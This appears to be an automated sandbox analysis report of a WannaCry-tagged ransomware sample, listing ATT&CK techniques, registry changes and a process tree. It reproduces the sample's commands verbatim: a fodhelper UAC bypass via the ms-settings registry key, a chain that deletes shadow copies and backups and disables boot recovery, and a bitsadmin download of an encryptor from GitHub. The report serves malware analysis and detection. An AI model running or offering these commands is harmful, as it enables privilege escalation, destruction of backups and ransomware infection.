wannacry | 7880389d89e8e28cbf6ac18bfb40dc8661dec9d9723e97b14bea6f8dff91804b

pid	Process
5060	bcdedit.exe
728	bcdedit.exe

Renames multiple (680) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
1532	wbadmin.exe

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
1844	bitsadmin.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
24	1784	Process not Found

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	X6B56HB5A2B59.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	B9a5B8F433A6b.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	B9A244AB4B18SD4BA.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	6117.tmp

Executes dropped EXE 5 IoCs

pid	Process
3276	X6B56HB5A2B59.exe
3556	@[email protected]
5020	B9a5B8F433A6b.exe
4728	B9A244AB4B18SD4BA.exe
3608	6117.tmp

Loads dropped DLL 18 IoCs

pid	Process
3932	LoaderFuscate.exe
3932	LoaderFuscate.exe
3932	LoaderFuscate.exe
3932	LoaderFuscate.exe
3932	LoaderFuscate.exe
3932	LoaderFuscate.exe
3932	LoaderFuscate.exe
3932	LoaderFuscate.exe
3932	LoaderFuscate.exe
3932	LoaderFuscate.exe
3932	LoaderFuscate.exe
3932	LoaderFuscate.exe
3932	LoaderFuscate.exe
3932	LoaderFuscate.exe
3932	LoaderFuscate.exe
3932	LoaderFuscate.exe
3932	LoaderFuscate.exe
3932	LoaderFuscate.exe

Drops desktop.ini file(s) 2 IoCs

description	ioc	Process
File opened for modification	C:\$Recycle.Bin\S-1-5-21-4089630652-1596403869-279772308-1000\desktop.ini	svchost.exe
File opened for modification	F:\$RECYCLE.BIN\S-1-5-21-4089630652-1596403869-279772308-1000\desktop.ini	svchost.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
16	raw.githubusercontent.com
17	raw.githubusercontent.com
24	raw.githubusercontent.com

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\system32\spool\PRINTERS\PPdht8cpr7pcdyl0ba224nrafdc.TMP	printfilterpipelinesvc.exe
File created	C:\Windows\system32\spool\PRINTERS\PP897twldyvcps0w0ieb5rpsjkc.TMP	printfilterpipelinesvc.exe
File created	C:\Windows\system32\spool\PRINTERS\PPw8urccbj3gmxtxypx7xly_0sc.TMP	printfilterpipelinesvc.exe
File created	C:\Windows\system32\spool\PRINTERS\00002.SPL	splwow64.exe

Sets desktop wallpaper using registry 2 TTPs 3 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	@[email protected]
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\kr3ajrrzR.bmp"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\kr3ajrrzR.bmp"	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
3608	6117.tmp

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4064	PowerShell.exe

Embeds OpenSSL 1 IoCs

Embeds OpenSSL, may be used to circumvent TLS interception.

resource	yara_rule
behavioral2/files/0x0007000000023d15-117.dat	embeds_openssl

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	6117.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	ONENOTE.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	ONENOTE.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ONENOTE.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	ONENOTE.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	ONENOTE.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	ONENOTE.EXE

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

Direct Volume Access

T1006

pid	Process
4644	vssadmin.exe

Modifies registry class 13 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings	WScript.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open\command	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	WScript.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings	B9A244AB4B18SD4BA.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open\command\ = "powershell -ExecutionPolicy Bypass -File \"C:\\Users\\Admin\\X9F2L7D4ZP8Q1RMK.ps1\""	WScript.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open\command\ = "cmd /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet"	WScript.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open\command	WScript.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings	WScript.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell	WScript.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\ms-settings\Shell\Open\command	reg.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
4332	reg.exe
2196	reg.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4328	ONENOTE.EXE
4328	ONENOTE.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4064	PowerShell.exe
4064	PowerShell.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe
4100	svchost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4064	PowerShell.exe
Token: SeBackupPrivilege	3088	vssvc.exe
Token: SeRestorePrivilege	3088	vssvc.exe
Token: SeAuditPrivilege	3088	vssvc.exe
Token: SeIncreaseQuotaPrivilege	2648	WMIC.exe
Token: SeSecurityPrivilege	2648	WMIC.exe
Token: SeTakeOwnershipPrivilege	2648	WMIC.exe
Token: SeLoadDriverPrivilege	2648	WMIC.exe
Token: SeSystemProfilePrivilege	2648	WMIC.exe
Token: SeSystemtimePrivilege	2648	WMIC.exe
Token: SeProfSingleProcessPrivilege	2648	WMIC.exe
Token: SeIncBasePriorityPrivilege	2648	WMIC.exe
Token: SeCreatePagefilePrivilege	2648	WMIC.exe
Token: SeBackupPrivilege	2648	WMIC.exe
Token: SeRestorePrivilege	2648	WMIC.exe
Token: SeShutdownPrivilege	2648	WMIC.exe
Token: SeDebugPrivilege	2648	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2648	WMIC.exe
Token: SeRemoteShutdownPrivilege	2648	WMIC.exe
Token: SeUndockPrivilege	2648	WMIC.exe
Token: SeManageVolumePrivilege	2648	WMIC.exe
Token: 33	2648	WMIC.exe
Token: 34	2648	WMIC.exe
Token: 35	2648	WMIC.exe
Token: 36	2648	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2648	WMIC.exe
Token: SeSecurityPrivilege	2648	WMIC.exe
Token: SeTakeOwnershipPrivilege	2648	WMIC.exe
Token: SeLoadDriverPrivilege	2648	WMIC.exe
Token: SeSystemProfilePrivilege	2648	WMIC.exe
Token: SeSystemtimePrivilege	2648	WMIC.exe
Token: SeProfSingleProcessPrivilege	2648	WMIC.exe
Token: SeIncBasePriorityPrivilege	2648	WMIC.exe
Token: SeCreatePagefilePrivilege	2648	WMIC.exe
Token: SeBackupPrivilege	2648	WMIC.exe
Token: SeRestorePrivilege	2648	WMIC.exe
Token: SeShutdownPrivilege	2648	WMIC.exe
Token: SeDebugPrivilege	2648	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2648	WMIC.exe
Token: SeRemoteShutdownPrivilege	2648	WMIC.exe
Token: SeUndockPrivilege	2648	WMIC.exe
Token: SeManageVolumePrivilege	2648	WMIC.exe
Token: 33	2648	WMIC.exe
Token: 34	2648	WMIC.exe
Token: 35	2648	WMIC.exe
Token: 36	2648	WMIC.exe
Token: SeBackupPrivilege	1608	wbengine.exe
Token: SeRestorePrivilege	1608	wbengine.exe
Token: SeSecurityPrivilege	1608	wbengine.exe
Token: SeAssignPrimaryTokenPrivilege	4100	svchost.exe
Token: SeBackupPrivilege	4100	svchost.exe
Token: SeDebugPrivilege	4100	svchost.exe
Token: 36	4100	svchost.exe
Token: SeImpersonatePrivilege	4100	svchost.exe
Token: SeIncBasePriorityPrivilege	4100	svchost.exe
Token: SeIncreaseQuotaPrivilege	4100	svchost.exe
Token: 33	4100	svchost.exe
Token: SeManageVolumePrivilege	4100	svchost.exe
Token: SeProfSingleProcessPrivilege	4100	svchost.exe
Token: SeRestorePrivilege	4100	svchost.exe
Token: SeSecurityPrivilege	4100	svchost.exe
Token: SeSystemProfilePrivilege	4100	svchost.exe
Token: SeTakeOwnershipPrivilege	4100	svchost.exe
Token: SeShutdownPrivilege	4100	svchost.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3556	@[email protected]

Suspicious use of SetWindowsHookEx 17 IoCs

pid	Process
3556	@[email protected]
3556	@[email protected]
4328	ONENOTE.EXE
4328	ONENOTE.EXE
4328	ONENOTE.EXE
4328	ONENOTE.EXE
4328	ONENOTE.EXE
4328	ONENOTE.EXE
4328	ONENOTE.EXE
4328	ONENOTE.EXE
4328	ONENOTE.EXE
4328	ONENOTE.EXE
4328	ONENOTE.EXE
4328	ONENOTE.EXE
4328	ONENOTE.EXE
4328	ONENOTE.EXE
4328	ONENOTE.EXE

Suspicious use of WriteProcessMemory 55 IoCs

description	pid	Process	procid_target
PID 4556 wrote to memory of 3932	4556	LoaderFuscate.exe	85
PID 4556 wrote to memory of 3932	4556	LoaderFuscate.exe	85
PID 3932 wrote to memory of 3136	3932	LoaderFuscate.exe	86
PID 3932 wrote to memory of 3136	3932	LoaderFuscate.exe	86
PID 3136 wrote to memory of 3276	3136	cmd.exe	88
PID 3136 wrote to memory of 3276	3136	cmd.exe	88
PID 3276 wrote to memory of 3556	3276	X6B56HB5A2B59.exe	89
PID 3276 wrote to memory of 3556	3276	X6B56HB5A2B59.exe	89
PID 3276 wrote to memory of 3556	3276	X6B56HB5A2B59.exe	89
PID 3276 wrote to memory of 5020	3276	X6B56HB5A2B59.exe	91
PID 3276 wrote to memory of 5020	3276	X6B56HB5A2B59.exe	91
PID 5020 wrote to memory of 4728	5020	B9a5B8F433A6b.exe	92
PID 5020 wrote to memory of 4728	5020	B9a5B8F433A6b.exe	92
PID 4728 wrote to memory of 2136	4728	B9A244AB4B18SD4BA.exe	93
PID 4728 wrote to memory of 2136	4728	B9A244AB4B18SD4BA.exe	93
PID 2136 wrote to memory of 1272	2136	WScript.exe	94
PID 2136 wrote to memory of 1272	2136	WScript.exe	94
PID 1272 wrote to memory of 4064	1272	fodhelper.exe	95
PID 1272 wrote to memory of 4064	1272	fodhelper.exe	95
PID 2136 wrote to memory of 4332	2136	WScript.exe	97
PID 2136 wrote to memory of 4332	2136	WScript.exe	97
PID 2136 wrote to memory of 264	2136	WScript.exe	99
PID 2136 wrote to memory of 264	2136	WScript.exe	99
PID 2136 wrote to memory of 1844	2136	WScript.exe	100
PID 2136 wrote to memory of 1844	2136	WScript.exe	100
PID 264 wrote to memory of 2696	264	WScript.exe	102
PID 264 wrote to memory of 2696	264	WScript.exe	102
PID 2696 wrote to memory of 2012	2696	fodhelper.exe	104
PID 2696 wrote to memory of 2012	2696	fodhelper.exe	104
PID 2012 wrote to memory of 4644	2012	cmd.exe	106
PID 2012 wrote to memory of 4644	2012	cmd.exe	106
PID 2012 wrote to memory of 2648	2012	cmd.exe	109
PID 2012 wrote to memory of 2648	2012	cmd.exe	109
PID 2012 wrote to memory of 5060	2012	cmd.exe	111
PID 2012 wrote to memory of 5060	2012	cmd.exe	111
PID 2012 wrote to memory of 728	2012	cmd.exe	112
PID 2012 wrote to memory of 728	2012	cmd.exe	112
PID 2012 wrote to memory of 1532	2012	cmd.exe	113
PID 2012 wrote to memory of 1532	2012	cmd.exe	113
PID 264 wrote to memory of 2196	264	WScript.exe	118
PID 264 wrote to memory of 2196	264	WScript.exe	118
PID 2136 wrote to memory of 4100	2136	WScript.exe	126
PID 2136 wrote to memory of 4100	2136	WScript.exe	126
PID 2136 wrote to memory of 4100	2136	WScript.exe	126
PID 4100 wrote to memory of 2012	4100	svchost.exe	130
PID 4100 wrote to memory of 2012	4100	svchost.exe	130
PID 2320 wrote to memory of 4328	2320	printfilterpipelinesvc.exe	133
PID 2320 wrote to memory of 4328	2320	printfilterpipelinesvc.exe	133
PID 4100 wrote to memory of 3608	4100	svchost.exe	134
PID 4100 wrote to memory of 3608	4100	svchost.exe	134
PID 4100 wrote to memory of 3608	4100	svchost.exe	134
PID 4100 wrote to memory of 3608	4100	svchost.exe	134
PID 3608 wrote to memory of 4672	3608	6117.tmp	135
PID 3608 wrote to memory of 4672	3608	6117.tmp	135
PID 3608 wrote to memory of 4672	3608	6117.tmp	135

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\LoaderFuscate.exe
"C:\Users\Admin\AppData\Local\Temp\LoaderFuscate.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4556
- C:\Users\Admin\AppData\Local\Temp\LoaderFuscate.exe
  "C:\Users\Admin\AppData\Local\Temp\LoaderFuscate.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:3932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "X6B56HB5A2B59.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3136
  - - C:\Users\Admin\AppData\Local\Temp\X6B56HB5A2B59.exe
      X6B56HB5A2B59.exe
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:3276
    - - C:\Users\Admin\AppData\Local\Temp\@[email protected]
        
        "C:\Users\Admin\AppData\Local\Temp\@[email protected]"
        5⤵
        Executes dropped EXE
        Sets desktop wallpaper using registry
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        
        PID:3556
    - - C:\Users\Admin\AppData\Local\Temp\B9a5B8F433A6b.exe
        
        "C:\Users\Admin\AppData\Local\Temp\B9a5B8F433A6b.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5020
      - C:\Users\Admin\AppData\Local\Temp\B9A244AB4B18SD4BA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\B9A244AB4B18SD4BA.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Modifies registry class
        Suspicious use of WriteProcessMemory
        
        PID:4728
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\AFABF89794B879FLB98.vbs"
        7⤵
        Checks computer location settings
        Modifies registry class
        Suspicious use of WriteProcessMemory
        
        PID:2136
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1272
        
        C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
        
        "PowerShell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\X9F2L7D4ZP8Q1RMK.ps1"
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4064
        
        C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" delete HKCU\Software\Classes\ms-settings\Shell\Open\command /f
        8⤵
        Modifies registry class
        Modifies registry key
        
        PID:4332
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\B9BBB9A5B8F4ABS.vbs"
        8⤵
        Checks computer location settings
        Modifies registry class
        Suspicious use of WriteProcessMemory
        
        PID:264
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:2696
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:2012
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        11⤵
        Interacts with shadow copies
        
        PID:4644
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        11⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2648
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        11⤵
        Modifies boot configuration data using bcdedit
        
        PID:5060
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled no
        11⤵
        Modifies boot configuration data using bcdedit
        
        PID:728
        
        C:\Windows\system32\wbadmin.exe
        
        wbadmin delete catalog -quiet
        11⤵
        Deletes backup catalog
        
        PID:1532
        
        C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" delete HKCU\Software\Classes\ms-settings\Shell\Open\command /f
        9⤵
        Modifies registry class
        Modifies registry key
        
        PID:2196
        
        C:\Windows\System32\bitsadmin.exe
        
        "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://github.com/BalletsPistol/d9fb74g8db7d8b7db48df7g8db77f4drb7er8db7fd84d7b1gdb47d8b7brt18bcy87gdfb8hfg74h87fh8bf18h7/raw/refs/heads/main/Encryptor.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
        8⤵
        Download via BitsAdmin
        
        PID:1844
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        8⤵
        Drops desktop.ini file(s)
        Sets desktop wallpaper using registry
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4100
        
        C:\Windows\splwow64.exe
        
        C:\Windows\splwow64.exe 12288
        9⤵
        Drops file in System32 directory
        
        PID:2012
        
        C:\ProgramData\6117.tmp
        
        "C:\ProgramData\6117.tmp"
        9⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3608
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C DEL /F /Q C:\PROGRA~3\6117.tmp >> NUL
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:4672

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3088

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1608

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2356

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:5012

C:\Windows\system32\printfilterpipelinesvc.exe
C:\Windows\system32\printfilterpipelinesvc.exe -Embedding
1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2320
- C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE
  /insertdoc "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\{C04B5903-AFBE-461C-AB21-35359994E004}.xps" 133823574036630000
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of SetWindowsHookEx
  PID:4328

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4312

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Management Instrumentation

T1047

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery